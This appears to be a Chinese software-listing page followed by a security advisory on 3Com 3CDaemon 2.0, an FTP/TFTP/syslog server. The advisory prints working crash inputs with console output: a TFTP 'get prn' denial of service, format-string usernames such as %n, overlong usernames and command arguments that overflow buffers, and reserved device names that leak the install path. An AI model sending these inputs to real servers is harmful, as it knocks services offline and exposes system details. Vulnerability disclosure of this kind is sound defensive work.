Cisco TFTP Server
FileZilla Server(FTP服務器軟件)
FileZillaServerFTP服務器軟件
CuteFTP
Xshell5
不用我說了吧，3com的這款東西還是很有名很不錯滴~~~3CDaemon是一款免費的集成了TFTP、FTP和SYSLOG功能的應用程序。
作用：FTP,TFTP,SYSLOG服務器，TFTP客戶端
3CDaemon存在多個安全問題，遠程攻擊者可以利用這些漏洞進行拒絕服務、格式串及緩沖區溢出等攻擊。
1、TFTP保留設備名拒絕服務攻擊：
提交類似如下的請求，可導致TFTP服務程序掛起：
D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn
The 3CDaemon will be crashed with some msgs like
"Microsoft Visual C++ Runtime library"
"Runtime Error!"
"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "
"abnormal program termination".
2、FTP用戶名存在格式串問題：
提交包含格式串字符作為用戶名數據，可導致守護程序崩潰：
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %n
Connection closed by remote host.
OR:
H:\>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)): %s
331 User name ok, need password
Password:[anythinghere]
530 Login access denied
Login failed.
ftp>
3、FTP超長用戶名緩沖區溢出
由于對用戶名缺少正確邊界緩沖區檢查，提交超長用戶名可導致緩沖區溢出：
D:\WINDOWS\system32>ftp 192.168.0.1
Connected to 192.168.0.1.
220 3Com 3CDaemon FTP Server Version 2.0
User (192.168.0.1:(none)):
501 Invalid or missing parameters
Login failed.
ftp> user AAA..[about 241 A here]...AAAAA
Connection closed by remote host.
4、多個FTP命令超長參數緩沖區溢出：
cd,send,ls,,put,delete,rename,rmdir,literal,stat,CWD等FTP命令對參數缺少充分邊界檢查，提交超長字符串作為命令參數可導致緩沖區溢出：
ftp> cd AAA..[about 398 A here]...AAAAA
Connection closed by remote host.
ftp>
ftp> ls AAA..[about 247 A here]...AAAAA
200 PORT command successful.
Connection closed by remote host.
ftp> put 1.txt AAA..[about 247 A here]...AAAAA
200 PORT command successful.
532 Need account for storing files
Connection closed by remote host.
5、多個FTP命令存在格式串問題
提交格式字符串作為參數，可導致程序崩潰。
6、多個FTP命令包設備名信息泄露問題
請求保留設備名可導致返回程序安裝路徑信息：
ftp> cd aux
550 aux : C:/3cdaemon/aux is not a directory!
ftp> cd lpt1
550 lpt1 : C:/3cdaemon/lpt1 is not a directory!
受影響系統：
3Com 3CDaemon 2.0 revision 10
